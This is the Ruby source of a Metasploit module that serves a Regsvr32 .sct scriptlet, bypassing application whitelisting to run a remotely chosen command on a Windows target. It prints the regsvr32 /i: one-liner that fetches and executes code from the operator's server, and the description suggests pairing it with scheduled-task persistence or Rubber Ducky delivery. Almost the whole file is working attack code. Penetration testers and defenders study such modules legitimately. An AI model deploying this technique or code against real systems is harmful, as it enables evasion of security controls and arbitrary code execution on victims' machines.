71 lines
2.7 KiB
Ruby
71 lines
2.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Regsvr32.exe (.sct) Command Delivery Server',
|
|
'Description' => %q(
|
|
This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on
|
|
a target system. The major advantage of this technique is that you can execute a static command on the target
|
|
system and dynamically and remotely change the command that will actually run (by changing the value of CMD).
|
|
This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility
|
|
is needed through the use of a single command (e.g., as Rubber Ducky payload).
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
|
|
'Trenton Ivey', # MSF Module (kn0)
|
|
'mubix', # Auxiliary module idea
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
|
|
]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('CMD',[false, 'The command to execute',''])
|
|
])
|
|
end
|
|
|
|
|
|
def run
|
|
exploit
|
|
end
|
|
|
|
|
|
def primer
|
|
print_status("Run the following command on the target machine:")
|
|
print_line("regsvr32 /s /n /u /i:#{get_uri} scrobj.dll")
|
|
end
|
|
|
|
def on_request_uri(cli, _request)
|
|
print_status("Handling request from #{cli.peerhost}")
|
|
data = gen_sct_file(datastore['CMD'])
|
|
send_response(cli, data, 'Content-Type' => 'text/plain')
|
|
end
|
|
|
|
|
|
def rand_class_id
|
|
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
|
|
end
|
|
|
|
|
|
def gen_sct_file(command)
|
|
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
|
|
if command == ''
|
|
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
|
|
# If a command is provided, tell the target system to execute it.
|
|
else
|
|
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
|
|
end
|
|
end
|
|
end
|